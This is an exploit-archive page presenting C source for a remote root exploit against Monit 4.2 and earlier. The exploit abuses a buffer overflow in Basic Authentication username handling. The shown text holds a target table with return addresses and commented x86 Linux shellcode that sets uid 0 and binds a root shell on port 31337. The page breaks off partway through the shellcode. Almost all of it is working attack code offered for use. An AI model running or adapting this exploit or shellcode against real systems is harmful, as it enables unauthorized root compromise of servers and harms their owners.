Lucene search
K

Monit <= 4.2 Remote Root Buffer Overflow Exploit

🗓️ 05 Jun 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

Monit <= 4.2 Remote Root Buffer Overflow Exploit. Vulnerability: Buffer overflow in handling of Basic Authentication information. Exploiting insecure handling of username in Basic Authentication information to return control to our payload

Code

                                                /*
&nbsp;*&nbsp;THE&nbsp;EYE&nbsp;ON&nbsp;SECURITY&nbsp;RESEARCH&nbsp;GROUP&nbsp;-&nbsp;INDIA
&nbsp;*
&nbsp;*&nbsp;www&nbsp;eos-india&nbsp;net&nbsp;poc&nbsp;305monit.c
&nbsp;*&nbsp;Remote&nbsp;Root&nbsp;Exploit&nbsp;for&nbsp;Monit&nbsp;&lt;=&nbsp;4.2
&nbsp;*&nbsp;Vulnerability:&nbsp;Buffer&nbsp;overflow&nbsp;in&nbsp;handling&nbsp;of&nbsp;Basic&nbsp;Authentication&nbsp;informations.
&nbsp;*&nbsp;Server&nbsp;authenticates&nbsp;clients&nbsp;through:
&nbsp;*&nbsp;Authentication:&nbsp;Basic&nbsp;Base64Encode[UserName:Password]
&nbsp;*&nbsp;Here&nbsp;we&nbsp;are&nbsp;exploiting&nbsp;the&nbsp;insecure&nbsp;handling&nbsp;of&nbsp;username&nbsp;in&nbsp;Basic&nbsp;Authentication&nbsp;information&nbsp;to&nbsp;return
&nbsp;*&nbsp;control&nbsp;(EIP)&nbsp;to&nbsp;our&nbsp;payload.
&nbsp;*
&nbsp;*&nbsp;Nilanjan&nbsp;De&nbsp;[n2n&nbsp;linuxmail&nbsp;org]&nbsp;-&nbsp;Abhisek&nbsp;Datta&nbsp;[abhisek&nbsp;front&nbsp;ru]
&nbsp;*
&nbsp;*&nbsp;06.04.2004
&nbsp;*&nbsp;www&nbsp;eos-india&nbsp;net
*/

#include&nbsp;&lt;stdio.h&gt;
#include&nbsp;&lt;sys/types.h&gt;
#include&nbsp;&lt;sys/socket.h&gt;
#include&nbsp;&lt;netdb.h&gt;
#include&nbsp;&lt;unistd.h&gt;

#define&nbsp;	BUFF_SIZE	2048
#define		PADDING		40
#define		EXP_SIZE	(256+4+PADDING)
#define&nbsp;MAX_ARCH&nbsp;2
struct&nbsp;eos{
	char&nbsp;*arch;
	unsigned&nbsp;long&nbsp;ret;
}&nbsp;targets[]&nbsp;=&nbsp;{
	&quot;Monit-4.2-Gentoo&quot;,
	0xbf7fef02,
	//-------------------------------
	&quot;Monit&nbsp;&lt;=4.2&nbsp;Crash&quot;,
	0xbadc0ded,
	NULL,
	0
};
/*
&nbsp;x86&nbsp;linux&nbsp;portbind&nbsp;a&nbsp;shell&nbsp;in&nbsp;port&nbsp;31337
&nbsp;based&nbsp;on&nbsp;shellcode&nbsp;from&nbsp;www.shellcode.com.ar
&nbsp;with&nbsp;a&nbsp;few&nbsp;modifications&nbsp;by&nbsp;us
*/
&nbsp;
char&nbsp;shellcode[]=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;sys_fork()&nbsp;*/
	&quot;\x31\xc0&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%eax,%eax
	&quot;\x31\xdb&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%ebx,%ebx
	&quot;\xb0\x02&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x2,%al
	&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
	&quot;\x38\xc3&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;cmpl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%ebx,%eax
	&quot;\x74\x05&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;je&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x5
	/*&nbsp;sys_exit()&nbsp;*/
	&quot;\x8d\x43\x01&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;leal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x1(%ebx),%eax
	&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;setuid(0)&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x31\xc0&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%eax,%eax
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x31\xdb&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%ebx,%ebx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xb0\x17&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x17,%al
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;socket()&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x31\xc0&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;%eax,%eax
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x45\x10&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,0x10(%ebp)(IPPROTO_IP&nbsp;=&nbsp;0x0)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x40&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%eax
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\xc3&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,%ebx(SYS_SOCKET&nbsp;=&nbsp;0x1)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x45\x0c&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,0xc(%ebp)(SOCK_STREAM&nbsp;=&nbsp;0x1)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x40&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%eax
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x45\x08&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,0x8(%ebp)(AF_INET&nbsp;=&nbsp;0x2)
	&quot;\x8d\x4d\x08&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;leal&nbsp;&nbsp;&nbsp;&nbsp;0x8(%ebp),%ecx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xb0\x66&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x66,%al
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x45\x08&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,0x8(%ebp)

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;bind()*/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%ebx(SYS_BIND&nbsp;=&nbsp;0x2)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x66\x89\x5d\x14&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movw&nbsp;&nbsp;&nbsp;&nbsp;%bx,0x14(%ebp)(AF_INET&nbsp;=&nbsp;0x2)
	&quot;\x66\xc7\x45\x16\x7a\x69&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movw&nbsp;&nbsp;&nbsp;&nbsp;$0x697a,0x16(%ebp)(port=31337)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x31\xd2&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;%edx,%edx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x55\x18&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%edx,0x18(%ebp)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x8d\x55\x14&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;leal&nbsp;&nbsp;&nbsp;&nbsp;0x14(%ebp),%edx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x55\x0c&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%edx,0xc(%ebp)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xc6\x45\x10\x10&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x10,0x10(%ebp)(sizeof(struct&nbsp;sockaddr)&nbsp;=&nbsp;10h&nbsp;=&nbsp;16)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xb0\x66&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x66,%al
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;listen()&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x40&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%eax
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x45\x0c&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,0xc(%ebp)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%ebx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%ebx(SYS_LISTEN&nbsp;=&nbsp;0x4)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xb0\x66&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x66,%al
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;accept()&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%ebx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x45\x0c&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,0xc(%ebp)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\x45\x10&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,0x10(%ebp)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xb0\x66&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x66,%al
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\xc3&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%eax,%ebx
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;dup2()&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x31\xc9&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;%ecx,%ecx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xb0\x3f&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x3f,%al
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xcd\x80&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x41&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;incl&nbsp;&nbsp;&nbsp;&nbsp;%ecx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x80\xf9\x03&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;cmpb&nbsp;&nbsp;&nbsp;&nbsp;$0x3,%cl
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x75\xf6&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;jne&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-0xa
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;execve()&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x31\xd2&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;%edx,%edx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x52&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pushl&nbsp;&nbsp;&nbsp;%edx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x68\x6e\x2f\x73\x68&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pushl&nbsp;&nbsp;&nbsp;$0x68732f6e
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x68\x2f\x2f\x62\x69&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pushl&nbsp;&nbsp;&nbsp;$0x69622f2f
